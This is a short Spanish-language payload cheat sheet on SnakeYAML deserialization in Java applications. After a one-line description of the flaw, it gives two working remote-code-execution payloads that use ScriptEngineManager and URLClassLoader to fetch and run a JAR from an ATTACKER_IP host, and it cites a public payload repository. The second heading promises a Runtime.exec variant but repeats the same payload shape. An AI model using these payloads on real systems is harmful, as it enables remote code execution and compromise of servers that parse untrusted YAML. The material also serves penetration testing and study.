YAML Deserialization — Payloads
YAML Deserialization
Vulnerabilidad en aplicaciones que deserializan datos YAML sin validar, común en aplicaciones Java que usan SnakeYAML.
SnakeYAML RCE
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://ATTACKER_IP/payload.jar"]
]]
]
Payload con Runtime.exec
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://ATTACKER_IP:8080/yaml-payload.jar"]
]]
]
Referencia
- artsploit/yaml-payload — Repo con ejemplos de payloads para explotación de deserialización YAML via SnakeYAML.